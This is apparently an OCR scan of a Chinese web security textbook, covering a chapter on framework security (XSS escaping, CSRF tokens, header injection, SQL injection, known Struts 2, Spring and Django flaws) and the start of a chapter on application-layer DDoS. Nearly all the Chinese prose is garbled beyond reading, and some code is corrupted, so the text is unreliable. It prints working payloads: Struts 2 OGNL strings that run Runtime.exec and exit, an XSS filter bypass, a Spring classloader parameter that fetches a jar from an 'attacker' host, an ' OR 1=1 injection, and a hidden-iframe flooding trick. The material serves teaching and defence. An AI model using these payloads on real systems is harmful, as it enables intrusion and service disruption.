15 “ESui AT —srh, AR “Hr gt i 2 S AR LA
O 71 HTML Fr&& b th A2 it

fE HTML Ja 1 i A i

7E script b4 b H AR

FEFFrh i AR

£ CSS it Ac

O f£ URL i th A &

ORI O, AT AN B A% R 2. TR A BUAERAT A MVC HESUR & A X PR 0t
WE? EAEN .

FE A RTHRATI MVC HEZEH, View JZH HIRIEASE AR AR 5| 50t BT s 4, LhifE



125 Web HEZL 224 283

CESUE AR YT 7 — R rp TR 21 Django, #tfE A T Django Templates 1F AR 514, AR 51
SOR G, WIRES PRSI ik, i, 7€ Django Templates 1, i filters "1f¥) escape 1
4 HtmlEncode ) J72:

<hl>Hello, {{ name|escape }}!</hl>

Django Templates [F]IFf3CHF auto-escape, XA#F# Secure by Default 5. 7L Django
Templates, BRIAAEHF auto-escape J1 3 1), AT AL S #4341t HtmlEncode Ja#iit o BRI i
T 5 ADF4E

< is converted to &lt;

> is converted to &gt;

' (single quote) 1is converted to &#39;
" (double quote) is converted to &quot;
& 1s converted to &amp;

W EICH] auto-escape, I FE ZAE A LA R T4
{{ datal|safe }}
B

autoescape off %}
Hello {{ name }}
endautoescape %}

AT IIE, IR b1 AT e UL 7% 1A auto-escape. ELAGI T auto-escape A2 17 4% AT AR 1]
B, AR AU FE A I L i PR LRI

—~—
o

—_~—
o°

R BT ST, Bcdf iy XSS BT 58, AEAN R 37 5t i 2T AN F] ) gm i ek £,
K& HIX 5 A~ FFF 1) HtmlEncode, U‘MET@E% B st . LGSR, X auto-escape
IR, HERRMBGAIBATL T (AR XSS B gl EAT s A ®” —Fh
HIRAD

A H BT FAT IR 5 5 Velocity, ‘& WAL T 2ANFIHLE], (H & FrANF )&, Velocity
ERIAE A IT S HtmlEncode H.

7 Velocity #1, 7 LA iL Event Handler K47 HtmlEncode.

eventhandler.referenceinsertion.class = org.apache.velocity.app.event.implement.
EscapeHtmlReference
eventhandler.escape.html.match = /msg.*/

ER W N, X B E IR T —/ N S SQL W AJ ) Event Handler.

import org.apache.velocity.app.event.EventCartridge;

import org.apache.velocity.app.event.ReferencelInsertionEventHandler;
import org.apache.velocity.app.event.implement.EscapeHtmlReference;
import org.apache.velocity.app.event.implement.EscapeSglReference;
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public class Test

{
public void myTest ()
{

/**
* Make a cartridge to hold the event handlers
Y

EventCartridge ec = new EventCartridge();

/*

* then register and chain two escape-related handlers
s

ec.addEventHandler (new EscapeHtmlReference()) ;
ec.addEventHandler (new EscapeSglReference()) ;

/*

* and then finally let it attach itself to the context
=Y

ec.attachToContext ( context );

/*

* now merge your template with the context as you normally
* do

7

{8 Velocity $EALHIALFENLH, 5 Django F auto-escape FTHEALHINLEIZ IR, # R HEAT
T HtmlEncode, T AZ0 5 it H I B kg 5e. Adzismie, 7emitks 1%, nfLsEEl A
Xt g esd, NHT AR5, 7 Django Wi H A€ X filters, 1 Velocity H I w] LLEH]
“72” (velocimacro), LLa:

xMLYnfiddir i, #SPIT XML Encodeffrt
#SXML ($xml)

Jsgmiditl, ¥ESPdrJavascript Encodefirit
#SJS ($7s)

Wk | X7, 615 XSS Pii I DhRefs 2 5¢3%; MR ERBR RS, #MRA LM
AR T, R AR TR, wTEL A 30 W 7 AR R B A e i Vs
XAE AT R AR R R .

FEHABRIREAR 51 b, ] DK <2 547 4l 70 I AT AR R 4t 7 507 RHIE XSS
a7 SR A e, ERE Web HERUE 7 SR P HERE T, AURAAESAT . Web HEZL
T AE AR AT S, AR Z ok A %L KM BrUT A e IHER,
P H R e A, AaTE TR S50
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12.3 Web 1225 CSRF B35l

KT CSRF M Buks RIS ) %€, AEAAD “ Wl Sl sk this” —Fh A i ik . 75 Web
HEZL A a] DA# ] security token fi#¥k CSRF ki i 1] 31

CSRF Uiy How, —MEba =4 “S8dR” #AEM URL, toan “3§”, “M7. “&”; 1
CEER T BAEIEAE CSRF BUhi AR, BIATE CSRF BB B b Mok Joik s i 2 i 55
IR Pl EAE, BotE HRAE P 2 Tl kg5 28304, Bt DL 5 T CSRF K L H
PR S (R SR AN AR XSS il el HoAth i B 80k, W] Be 25 E N R in) il  fRiX
B, AL CSRF X HIA G 4718 o

BRI, 75 Web NIRRT, H BN “ESHE” M “SEE” TLIXr, kA m
“CHERAE” HAEH HTTP POST.

EAR Z UFik CSRF B Sc s, #RESR{# I HTTP POST #E4TE54H, {H5ZFr I POST A&
B HA L LIS CSRF, K24 POST /& 0] BL H B 4C 1. {HSE POST M, XF T-{R#" token
HHERMI R X, 1M security token [UFAZEYE CASHIFIME SN, B4 CSRF BUi 3Lt o

XFT Web HEROK B, WL A SAEFTA W & POST ISR IN token, X487 G145 Py
A K form K H. P Ajax POST 15 K45

SCHEI) CSRF BiHTT 58, 0T Web HEAUKUIA LT JLALHL TS 75 25 «

(1) 7£ Session H4P5E token. UIRANFELRAFRIMRSS Z5uii Session H, U A] LA Ay £RA7 2
Cookie H.,

(2) 7t form LHH HBIHEAN token F-Bt, LUl <input type=hidden name="anti_csrf token"

value="$token" />.
(3) 7£ Ajax 5K BN token, XA AETT 2O A M Ajax B3RS SZ R .

(4) fEMSs it L POST #2238 551/ token 5 Session F14E & [ token &5 —3, LAUGIF
CSRF Hitio

7t Rails ', EAHRX YRR T, N 2L Application Controller 38 hi—4TRI AT

protect from forgery :secret => "123456789012345678901234567890..."

R secret FIHR S5 25 i I BEHLIE 1~ H 2025 1K token, I B S8 I 247 form A1 H Rails
AR Ajax SR . T EAE SR SEE I — D e OKOK TR T RE R LT R A .

f£ Django A AR DI RE, (HZERCEMME L k.

1956, ¥ django.middleware.cstf.CsrfViewMiddleware ¥ /l1%] MIDDLEWARE CLASSES .
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('django.middleware.common.CommonMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',)

SRJG, 7E form KL HH SN token.

<form action="." method="post">{% csrf token %}

Rk, #IATE View ZEHBREH M T django.core.context_processors.csrf, WTHA )&
RequestContext, WIBIACEAEH T, &N ETF3ha.

from django.core.context processors import csrf
from django.shortcuts import render to response

def my view(request) :
c={}
c.update (csrf (request))
# ... view code here
return render to response ("a template.html", c)

XFEHURCE ) T, ATLLSE5Z CSRF BIHIRIECR 1.

7 Ajax iR, R AMUA T token K HTTP 3k, f§i fi] HTTP k4224 T B 1 token
ks, R — i JavaScript JCIESREE] HTTP k{5 R, (HREA7AE Lo s i I n] fE 2
HILBIAb .

I —ME Ajax SR 5E X token (91 T

$ (document) .ajaxSend (function (event, xhr, settings) ({
function getCookie (name) {
var cookieValue = null;
if (document.cookie && document.cookie != '") {
var cookies = document.cookie.split(';");
for (var i = 0; i < cookies.length; i++) {
var cookie = jQuery.trim(cookies[i]);
// Does this cookie string begin with the name we want?
if (cookie.substring (0, name.length + 1) == (name + '=")) {
cookieValue = decodeURIComponent (cookie.substring(name.length + 1));
break;

}
return cookieValue;
}
function sameOrigin (url) {
// url could be relative or scheme relative or absolute
var host = document.location.host; // host + port
var protocol = document.location.protocol;
var sr _origin = '//' + host;
var origin = protocol + sr origin;
// Allow absolute or scheme relative URLs to same origin
return (url == origin || url.slice(0, origin.length + 1) == origin + '/') ||
(url == sr origin || url.slice (0, sr_origin.length + 1) == sr_origin + '/') ||
// or any other URL that isn't scheme relative or absolute i.e relative.
' (/~(\/\/|http: |https:) .*/.test (url));
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function safeMethod (method) {
return (/” (GET|HEAD|OPTIONS|TRACE)S$/.test (method)) ;
}

if (!safeMethod (settings.type) && sameOrigin(settings.url)) {
xhr.setRequestHeader ("X-CSRFToken", getCookie('csrftoken'));
}
}) i

7E Spring MVC LA K¢ —S8 H A [F) 34T Web HEZE R, JEBRAT HEALALEN % CSRF KR,
IIX S ThRE TR H CSE .

12.4 HTTP Headers B

#£ Web HEZEH, FTLLXS HTTP kAT 4 b AR B, DRIt — 2856 HTTP Sk 425 %]
AR A e S i

Fhlrgt st HTTP & [9]3k (1) CRLF y3 A (B JE BN 4515 2 2% “ i N Bk ” —35), o8 HTTP
kb AT LR e key-value Xf,  Lhin:

Location: http://www.a.com
Host: 127.0.0.1

Xt CRLF B 5 % R FREAE “value” TIZHTA K\ B AT, iXHEHIRBIE “key”
i\, A& BRI P e “key” MGG IS, EARATIEOL T ERASN AT A A .

AL, E156 30X iR [B]45 ) HTTP Response, ¥ %2585 2Bk 21| Location 5 HJ URL, X
o AT AT R I 2 Ty R S it ) £ B VE DR

HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.phishing.tld

R, XFFHESER UL, 45 BRUF ks H bl 2R B EER) . — Mok, 1T LATE PN H i
XA

(1) W Web HEALER I GE— (M e 28, WIWT DAAEBREL e BN SN 44, 4 E Bk
e bl HREAE 1 44

(2) Mg 7 &%) HTTP ) Location “7-Bt, PR Location i M RE &ML b,
W HERE B FIFE RO, HA UL 2 B 44 .

HIRZ 522 ) Headers, 1] LLAGE—7E Web HEZEHECE . Pl kXS T ClickJacking
[f] X-Frame-Options, i Zi4F W ] HTTP Response 7%l
X-Frame-Options: SAMEORIGIN

Web HEZEAT DLENBE IV D) GE, FH4eft T NC & . 1% HTTP S5 =N A& 18 : SAMEORIGIN,
DENY. ALLOW-FROM origin, &M T &R A [E 1375t
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AERTTH I E R, B84 %] Cookie ) HttpOnly Flag, ‘& fE S Rl 2% AN Eil JavaScript
i 1) 1% Cookie, {F Session HJFF&E n) @ HH MR X, M HSAIER N,

{HFFAE AT I Web Ik 55 25 - Web 25 85 AN 5 5 52 f1E 1 APT #5458 & HitpOnly Cookie,
JIT MR 22 I 75 22 HHESE S — AN Dfe: XTI Cookie BRIAVR N HitpOnly, ANFFEUbDhfRE
] Cookie M FRALE L B SCAFHH H1HE

KRR AR AT I — W2 A, AEHE S P SCBL ) B AL AN T O 2 A7 it . it
HttpOnly Cookie K iit, & ERAEFTAT MRS #sdin ¥ H 1% Cookie (11t 75 #AZ5TN L, IX AT BERIR
FARZ AR L 25 AT, RN, SO R 2RIk 55 IR, Bk
ANBTTREAECAS, WA Set-Cookie U 23 HF W BRIT, PIAEME S it Bk S 11
Ji%s

— R, HEZRSS IR AN E Cookie PR3, HttpOnly [ILhEE T AZE M bk B b s
By RS XA R, MBS HTTP & 0]k e & Sz 0

125 HIBIFAES SOL EA

{fFf ORM (Object/Relation Mapping) HEALX] SQL i AJEAH AR 1) FATEIE X Bt
SQL JEN AT AR AT “ T iFEghe 2w ", LR SQL VEAN, A AN sl
NS R)E, AAREEPER, HMELUE W BEAATE SQL VAR AN st 4k >k, 177 ORM AE
BERBA TR ) i T — AMERE A

LL ORM HEXE ibatis 2565, ‘& /23T sqlmap 11, AR SQL T A AR 4k #a 4k 57 XML 3¢
e, ibatis SCFFSNZS SQL, T LAFE SQL AR AZI AL &: Svalue$, 415 H F AEW 361X
N, WSFAE—A SQL AR .

<select id="User.getUser" parameterClass="cn.ibatis.test.User" resultClass="cn.ibatis.
test.User">

select TABLE NAME, TABLESPACE NAME from user tables where table name like '%'| |#table
name#| | 'S’

order by SorderByColumn$ S$orderByType$
</select>

MERSAZE #value# WL AN, KILAEAH ibatis I, H 2R T 1 sqlmap SCHH
EEEEHATET . IS FEMHEIA SQL K, mLMEAREIALEE, i BERIR
& 4 TR B AR AT PR IR, AR UEAS 2 R AR N )

M7E Django H', AN ¥, Django $E4IL[¥) Database API, ERIA X Fr I NIEAT
T SQL # X, et

foo.get list(bar exact="' OR 1=1")

Fetpe B2 R T
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SELECT * FROM foos WHERE bar = '\' OR 1=1'

i Web HEZLER AL TIRE, AEAUHRURS S nge—, WA AR ot

12.6 ABEREREI+A

B T L vE R LSk, FERESE IR RESEEL A 24T e

HSE PR Z ), N2 AE Web HESUH AT RESEEL %2 477 58, REERMERER AT AR IKIBIAE,
#1275 18 S it -

Pt SOt EARThRE, WRN I SCBUAT W, AT B2 A M SRR o 45 d BRIl 55 R
SIS EALRE, B S A A 2257, RS OL & T v 4 in) U LAl (A
U SR AE Web HEZL BE N SCAF EAL DIRESR AL — AN LW 224 7 2 sl pR 80 CRAKRT 225 “ 30 fF
AR ED, AT B R AS E I T R R AR 2 D, LR Gy AT AR AN A
Ifesl b

Spring Security & Spring MVC [JH PR ME TR 2224 DhRe,  Lhlnds T URL M vs i) £
= J7 vk RS2 EE. OpenID 2545, {H Spring Security HHt = i1 XSS, CSRF 2 jin] 11 1) fi#

FEVTH AR A T7 RIN, LRI A TR RIS 1 B P 3 i kit AT —8
SCE ST BRI, SR P TR L T DAAEAE S R A B AR D

FEVCTT Web HESL 22 itk 7 S0, IO T EARAF L AR A (M H S o FE RO 2 42 Nt 7
LE BRI MG, kA XSS Bulily, alLhidsk M Bl (f IP. If[A]. UserAgent. H
bR URL. I 445545 B B &, 635 I LB A 0 s AR 7 2 A AR i 3L
R, THR HS Mg e & TERERUR, DIAE BTN, 75 255 58 HS s’ AT A AR
IR AT e iR o

FEBLTE Web HEL 22 ANy, IR 5 INAREE o 0BT A Bt BRI, 12 24 2 I 58 Jle ot L F4) 5 40
TP, WA Web HEZLA BATEdr Jyo 1048 Oday Jill, WA mragsdnd “ Baleh 177 75
NAEHESYZ MR R, A0 Web HEZUBARZ — /24K, o Web W ISR A T LW (KGRI RIFE 61 D7

12.7 Web B2 &&=

AL PFRI#GEAE Web HEZ PP SCBL 2427558, {H Web HEZUA G ] figes BRI, H
SOEREY, AT RE DL buge (HUETTAMERS th T LA S AORFIRIE, el T REUE 125 R AN
SIRIEAFEGH BN BT, P TT A HESR I T REAN A3 2 S e Ah, (H e i s
RAAR
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TR LA, S LERAT R Web JTACHESLE 28 Bl )™ Bl o WF 90X L5
1, T LA B B T G M BRARME S 22 4, AT T ACHEZN SRR /oLy, TR IN LR FRATTAN ZER A5
TITRMELI B -

12.7.1 Struts 2 &5 S HL1TIRIE

2010 47 H 9 H, “Z4W5tE A i T Struts 2 — AN FAEHATARL IR (CVE-2010-1870),
FERG UL, XS XWork BRI, IR Struts 2 [RIA% O F R 2 WebWork, 111 WebWork X
JEAF FH XWork Sl AbFE action H.

AR 4015 1 1 A A 1 exploit-db® I
FEIZ LR FARA B R

XWork 11 getters/setters /775 M HTTP [ZHH3RIBUN M. action 44 FK, XA AR LT
OGNL(Object Graph Navigation Language)ff]. OGNL & /EAF KN ? 4R

user.address.city=Bishkeké&user['favoriteDrink']=kumys

SR
action.getUser () .getAddress () .setCity ("Bishkek")
action.getUser () .setFavoriteDrink ("kumys")

XA RS 1 ParametersInterceptor i ] ValueStack.setValue()5& i), "I E0EH ol
#0, H HTTP 244t N OGNL W ZIRe ik, AT 2R A T e Dhhe.

Method calling: foo ()

Static method calling: @java.lang.System@exit (1)

Constructor calling: new MyClass ()

Ability to work with context variables: #foo = new MyClass ()
And more...

TS 85e 4t P R, BTEl XWork 1222 H B, B0 7 #4752 BLRH 1 EAR
(CEARE

* OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (#4 Ntrue)
* SecurityMemberAccess private field called 'allowStaticMethodAccess' (B A false)

RPN TR P A e, T3 BU RS AT

* ok ok ok ok

# memberAccess|['allowStaticMethodAccess'] = true

#foo = new java .lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime ()

#rt.exec ('mkdir /tmp/PWNED')

Parametersinterceptor &/ FLVF S A FRHA#K, K24 OGNL H 2 Tie AR 72 PL
E GNP

2 http://www.exploit-db.com/exploits/14360/
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* #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor.
denyMethodExecution' property value.

* # memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static
method execution.

* f#root

* #this

* # typeResolver

* # classResolver

* # traceEvaluations

* # lastEvaluation

* # keepLastEvaluation

SRR e 2R B TIXFE T (bug dnts XW-641) « {0023 KA #, X E#
HH7S BRI, iRy i T DU R T 1B payload.

http://mydomain/MyStruts.action? ('\u0023 memberAccess[\'allowStaticMethodAccess\']") (
meh) =trueé& (aaa) (('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo"') (\u0023foo\u003dnew%20java.lang.Boolean ("false"))
)& (asdf) (('"\u0023rt.exit (1) ") (\u0023rt\u003d@java.lang.Runtime@getRunti

me ()))=1

IR Z G HARI AT ) -

12.7.2 Struts 2 gyEI&a %M T

Struts 2 B 5 H AT A T LA 22440 T

ache Struts 2 Documentation > Home > Security Bulletins

Apache Struts 2 Documentation

Security Bulletins

The following security bulletins are available:

S2-001 — Remote code exploit on form validation error

52-002 — Cross site scripting (XSS) vulnerability on <s:url> and <s:a= tags

S2-003 — ¥Work ParameterInterceptors bypass allows OGNL statement execution
S52-004 — Directory traversal vulnerability while serving static content

52-005 — XWork ParameterInterceptors bypass allows remote command execution
S2-006 — Multiple Cross-Site Scripting (X55) in XWork generated error pages

S2-007 — User input is evaluated as an OGNL expression when there's a conversion error
S2-008 — Multiple critical vulnerabilities in Struts2

Children Show Children

Struts 2 B 7 AN T DL

TERANTLAN AT AERIL, 4T 525880 T2 A i BUAR S AR HORLIE ) . B S2-002 H I &
AABI, XA XSS Pk, AL BN FEALS T POC FUR M T seript FRag .

http://localhost/foo/bar.action?<script>alert(l)</script>test=hello

FAVE A I B 5 WA -

3 http://struts.apache.org/2.x/docs/security-bulletins.html
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revision 582626, Sun Oct 7 13:26:12 2007 UTC revision 614814, Thu Jan 24 07:39:45 2008 UTC
3 Line 174 public class UrlHelper { Line 174 public class UrlHelper {
174 tuildParanetersString (params, link, "&°): buildParanetersString (parans, link, "&7):
176 } )
176
177 String result: String result = link.toString():
178
179 if (result.indexOf (“<script>") >= 0) {
180 result = result. replacedll("<script>”, "script”}:
181 1
182
183 try { try {
184 result = encodeResult ? response. encodsURL (link. toString()) : result = encodeResult ? response. encodsURL (result) : result;
link. taString ()
185 } catch (Exception ex) | ] catch (Exception ex) {
186 /¢ Could not encode the URL for some reason ## Could not encede the URL for seme reasen
187 // Use it unchanged // Use it unchanged

B A MY
String result = link.toString();

if (result.index0Of("<script>") >= 0){
rezult = result.replacetll("<{script>”, “script”):
1

ATLAE B, S ) B e fi<script> FR%%

TRENRI, WHMAHE <<script>>, S —RAHFLEER <script>. JWIAREAE S
o, TFRBEFHRGEL T —A4NT, UK A A F S Bl<<<<script>>>> 15 0L o

revision 614814, Thu Jan 24 07:39:45 2008 UTC revision 615103, Fri Jan 25 03:50:48 2008 UTC
i Line 176 public class UrlHelper { Line 176 public class UrlHelper {
116
177 String result = link.toString(): String result = link.toString():
178
178 if (result. indexOf ("Cseript>”) = 0) | while (result.indexOf (*<script>”) > 0){
180 result = result.replacedll("<¢script>”, “script™): result = result. replaceAll("<script>”, “script™):
181 ! i
182 try { try
183 result = encodeResult ? response. encodelRL (result) : result: result = encodeResult ? response. encodeURL (result) : result;
184 | catch (Exception ex) | | catch (Exception ex) {

BEAMUS AL R if 22K while:
while (result.indexQf ("<script>") » 0)1

result = result.replacedll (" <{script>”, “=cript”);

1

RARIAEANT X, R R R, BodiE m] LUE LR i 75 ks

http://localhost/foo/bar.action?<script test=hello>alert (l)</script>
HUE R WL, Struts 2 FFRE, A0 T2 4 B ELARAE AR A BT 1)
KTl IR RO B8 XSS Jwill, WESHEABR) “EuiALSE” —&.
12.7.3 Spring MVC < #11TiRIRE

2010 4 6 H, A4 T Spring HEZE—MEREPIT A2, CVE 4i'5 /& CVE-2010-1622.
T Y W

SpringSource Spring Framework 3.0.0~3.0.2



125 Web HEZL 224 293

SpringSource Spring Framework 2.5.0~2.5.7

HT Spring HEZE RFE F 25 7 b e St A B0 R 0T 0 S e vk, X —#L i o B & 18
2 class.classloader MNZNT G HIZSME BT, XAl SBPITAE NS . Hlan, Bz Ll
B Zn#d 2 B d B i URL 18 e 3 32 35 10 & .

(1) B attack.jar A8 HTTP URL £ . XA jar 2040 & LA R A4
O META-INF/spring-form.tld, & X Spring 3 AR IF 48 & SEIL A AR SCAF AN LS
O META-INF/tags//H IRIFRZESCIE, S FR205E L (TR Java £015).

(2) IR HTTP 24 n) & s il #5248 HTTP 153K :

class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/
X 28 FH Bk 1) URL 78 7% WebappClassLoader [ repositoryURLs J& LS5 0 S0 %,

(3) Z J& org.apache.jasper.compiler. TldLocationsCache.scanJars()<x{# Ff WebappClassLoader
[ URL f#ATARZE I, %) TLD B i Fr A b8 SO AT ik 2 T4 il Y jar

XN K B 4 6 55 2 Spring MVC HEZR[¥ I3t , 1 K 2 B0RE P 03 ml Re AN i 2
XA
12.7.4 Django fp<#HITiIRIE

7t Django 0.95 fiAH, W HIL T — AN FEPAT Ar U, W 7Y diff JErg4 s, wf
DU BIX 2 — MR ER “ar 2N I, RAE “HEANBGE” —Fd, 8 SfdR i X fmhiwEi .

Django 7EAbFE B SO IAEAE 0 R, I FR Bech # A G = po SO, AT U7 ) Ab B,
A S EAN R BE R IR PATAT & A 2t

djzngo/trunk/django/binfcompila-messages.py
r3590 | r3592

20 20 sys.stderr.write( 'processing file %s in %s'n' % (f, dirpath))
21 21 pf = os.path.splitext(os.path.join(dirpath, f))[8]
22 emd = "msgfmt -o "%s.mo” "hs.pa™’ % (pf, pf)
22 # Stoare the names of the .mo and .po files in an environment
23 # variable, rather than doing a string replacement into the
24 # command, so that we can take advantage of shell quating, to
25 # quote any malicious characters/escaping.
26 # See http://cyberelk.net/tim/articles/cmdline/ar@ls02. html
27 os.environ| "djangocompilema’] = pf + ".ma’
28 os.environ| "djangocompilepa’] = pf + ".pa’
29 emd = "msgfat -o "Sdjangocompilemo” "Sdjangocampilepo”™’
23 20 as. system( cmd)
24 31

Django [R5

4 https://code.djangoproject.com/changeset/3592
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IR ACRS G R

cmd = 'msgfmt -o "%s.mo" "$s.po"' % (pf, pf)
os.system (cmd)

R M T STE A o AHIZANI A ER U, CAREEAR, ENEAE
SCHE N

12.8 /N4

FEARF YRR T L2 Web HEZLH R LLSEHl %42 )5 5 Web HEZUA B 2 N R i —
ARy, SR BER I BN R, AT R AL E . Web HEZEG 224275 S (1 ¥
THRBE TIRZAER, i A E kTR, R BRI 22T .

THERATHA RS T Web HERLA S . 12 Web HEALSR A1) 22 AR YR 7 ZE A7 I I AN T 48,

HAIARTTEE B ORI L5 % o RN Web HESE B 5 (1 22 A AN o] 280, AR — A4k
fififk s, — BRI, R RO,



w13 =
NAAEBBEIRSZINTG

FETLIC P —iRiE DDOS Hrddt, ATEAERIEEAS . DDOS BUidf ik o 42 4 Ak v o xfk
P, IEA B EAT AN SRR R T %

FEA TR X Web 224 P i “ BT R A4 MR 55 Boi 7 RIETTIHE, JFR IS B I oL
SEIN SRR S, RIS R R R i ek T

13.1 DDOS &N

DDOS Mk A oA s 4 ik 5%, 4> FK & Distributed Denial of Service. DDOS A< & 71 il 5 #!
PRI R L 3, FEURS AT i —AMF BT 100 N4407, 4 100 AN4A7
WAFW AT, MA R EEEk, s aE CA NG 24T R CAENE AL,
W AtF N DR KRN, SR8, ARER T/AET, XML “iH
“u k55

TR ARG, LTS, RGP BB AL BHBEEATRR, iR 55620 H i
oL WRBHEA CAPOE T, B ARG B, FERGS BN

oA IR R S5 B, K IR R U SRIBOR T4 T4, T3 T A 484y gl (R I At ety A
B SAERLNY o X LEFILE T AR R MBI “ XS, ok @ UG, alE
T ESME REMEES M, REER THOT. BT S . i s
W 2% ) DDOS Biali, JLF-2 AT

# UL DDOS #1745 SYN flood. UDP flood. ICMP flood %5. L+ SYN flood +&—Ffiis Ay
£e 0¥ DDOS Huiti, JLRILT 1996 4F, (HEAJHRIRERE IER KA J7. SYN flood 4N
AR X e R T TCP BhSCBe v A (g 8keb, 17 TCPAP WSO AN B 1 e, A— &
245, A A EAE S IXFER R LT B AT RER) 1 .



296  HIETYF Web %4>

) (s )
{ “1rmmm%$
C;E - \,i
RIIRA— I A
A A —
AR D i —
BB 11—t St 6
DDOS Mt n &K
EIEHEEO T, TCP =BT .
KTEF%[ SYN (D TCP It 4 33
e 1n!
oessif] ZLSvwack [
ACK |3 25
(1~1023)

(1) 2% 7 g ) R 45 i i A3 —> SYN AL, A5 2 s Y 03 15 R R 81 5 xs

(2) Hessas im0 % o Aok K SYN AR, [ i Adk— A SYN A ACK #E A7
TCP 30, WEMHING x+1 FIRSHIHILGT5 5 v

(3) % e B AR 45 2 iR [P1 ) SYN+ACK #7305, 1) AR 45w il ol — NN 5 o8 y+1.
J75 0 x+1 1) ACK 4R3C, — Ml TCP i H 58 o

i SYN flood 7EXCii i, 120 Dhit K (i 1P Huhik, 433 1) IR 45 s A 3% K ) SYN 4,
BERS AR Sswsui2x iR [0 SYN/ACK £, PRA b J& Dbt ffr, BT AGRIE I IP HEAN SN2, RS 4%
Ui AT RN O TP (Rl 2R 3~5 OF HAEfF—/> SYN Time (—f20 30 62 2 435D,
USRI ) 5 5 XA . Bt K R IEIX P O I P EE T SYN WK, R4S gkl 2 i #E
e Z MBI (CPU FINAE) SRACFLIZ R Rz, (Rl NHEZEAR K 6 X 48 TP 37 SYN+ACK
Fe B 45 R IR 55 A8 O BLIR IE 3 i e ok, S 8UR 485 .

X SYN flood ) 3= Zi4)itif5 SYN Cookie/SYN Proxy. safereset %477, SYN Cookie 1%
JARE R ABE—A TP Ml Sr AL —AS “Cookie”, FFGETHAREAS 1P Hudik Vs R BR o o AR R I ) Y
WK B A TP Huhk a0, WA R BB, Z 5ok XA 1P ka4 25 5%

TEARZ Xt DDOS [H7= i, — Mot i S ML, 45464 DDOS B (M4F1IE,
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XA TIRYE. X P DDOS 1R 2% 52 1T LL R I B JFIBCAE 9 2% Hh 1Ak

{1 DDOS 53R JE NV A — A, Bl T 4t e, L2 st i B K far i)
WL AT RS . — Mk ut, RS 2 B DL SR LU RE “ 7 DDOS Hili, & PRk K2 R i
Al v L e AL, BEAF IR S A B E R LR 2 o (AN ERER IR SR e S A PR, 7ESEBR )
Yeitith, DDOS s+ i LA RIEL G 2L T G, @RIXFEAL, HAeS Mz B a1k,
JEIH5¢ A DDOS Bk (i v

DDOS [ME i B HE — N, A HE e Web Z24s, AL 4% JZ (1) DDOS
B AEEAMBIR AT, A BRI AT LB AT & B — LE A OG Bk

13.2 NFHE DDOS

[ 2 DDOS, AT M4 )E DDOS, T RN, Bk TCP = xiEF 458,
EE O, FrURORIGER) 1P Mk 58, (AN HZ DDOS A7 I HE 48 L 4% 2
DDOS Kt B A a4, BEAARILFIA ML Anti-DDOS # 4, HAEXHIMLE)E DDOS i
R, TR 2 DDOS Ko #1453 R T B

2N H]JZ DDOS ZI 2 A —[mlHe? IXHEM “CC Bk ” Bk T .
13.2.1 CC I

“CC Mrihi” HyHT &2 fatboy MULHRET, I REA T HiEL K3 DDOS
WRITR T B B2 EZELN LR AR —, Ak “EiH (Collapasar)” [f]/x DDOS
W, BEMATRUIEDE SYN Flood &547 ittt o 11 2R 2 I Pk iek UKy fatboy FIrsc i) st 77 i
% }: Challenge Collapasar ({&j#k CC), RFRLERRIFEMBIME T, SR HEA UG8 Ah 48 ik 5% Bt o

CC Xl i S BEARH ] 5, Ao S AR B IO (K W Y i Tl AN BB A 2 LE HE TR R, A

BRI i BRI F . A2 Web NI, Aol B/ BREA SRR RAE, DN
THFELLRZ I BRI A5 B AR AT — MR IR R ] 1

Mﬁ)ﬂé%’*% SQL KA e 4= F (A PHP H4) ).

$sgl="select * from post where tagid='Stagid' order by postid desc limit $start ,30";
Y post FAIE R K, $1RIRE, $start £ F 2 B)3G mit, &4 % v 4 R E=Sstart+30; %

ZNKRZNRA L THEAR, mEHEMEAR, BEOREIH TR, TRILELIHE

W, RFBBERERERT S, HEEME, WbRXERITF.,

FETLIRM AP e R B LR T 5 RIS R ZIC R (spider), & BT/ R 3t ELEIE
SRR OLIN AT R, XS N JE DDOS Budi (g R ARG . it Aok, WHJZ DDOS Kt 1k
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LG5 1R L LR o

% ] = DDOS Hratiide if LUl BL R 7 g fEBEAR T MNARAR KM e
SLOOUTI, s BRI SR 203 H AR R

Eetur, AE KU M siteA FAfA— BTG

<iframe src="http://target" height=0 width=0 ></iframe>

2T VT Z LI siteA P, 0K ST I target &S — IRk HTTP GET i3k, X[ fg
¥ 35N target EL RS

N JZ DDOS Hrid a5 st el e, A AVFZ LIRSS e P BER T, AR ek
2 WD SR AR LR My o AR AR FH A0 i PR 2 JUE memcache H, AR 0l i 4 B
THFEMMBEEOK UL, A memcache FHHFEII BT LLRIE AN TE . (AR PEBEDLAL I T SRR 2
AT BN Z DDOS B ify BEvt ), DR BE i AR A B AE I BT I A A
EE4n Y memcache EEHIBCA fr PN, RS A AL IR BB A, AT M ORI 5545 BE UL (AR A 5
Kk 5 A T BB O BT o [ Bl B 1 oA i R RAE AN, IR Ul <5
Hagett, 57 Bl AT 8 — B T 2RSS SR R 2 .

13.2.2 PR#IERIIER

5 H WLIREE XY ] 2 DDOS Bedi Bl it , R fEN e “E P —AMEk
B PRE . Lo T i B .
class RequestLimit:
# add a click to the list statistic

def addRequestClick(self, ip addr, bcookie):
blkip = memcache.get ('RequestLimitList')

# if memcache list does not exist, then create it
if (blkip == None):

blkip = [{'ip addr': ip addr,
'bcookie': bcookie,
'count': 1,

'base time': datetime.datetime.now(),
'update time': datetime.datetime.now(),
'status': 'ok'},]
memcache.add ('RequestLimitList', blkip)
else:
ip exists = False
for ips in blkip:

# found ip
if (ips['ip addr'] == ip addr):
ip_exists = True

# check if bcookie is the same

if (not bcookie) or (ips.has key('bcookie') and ips|['bcookie'] == bcookie) :
ips['count'] +=1
ips['update time'] = datetime.datetime.now ()

# 1if update time is 30 seconds later, then reset base time
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period = ips['update time'] - ips['base time']
if ( period.seconds > 30 ) and ( ips['status'] == 'ok' ):
ips['base time'] = ips['update time']
ips['count'] =1
break
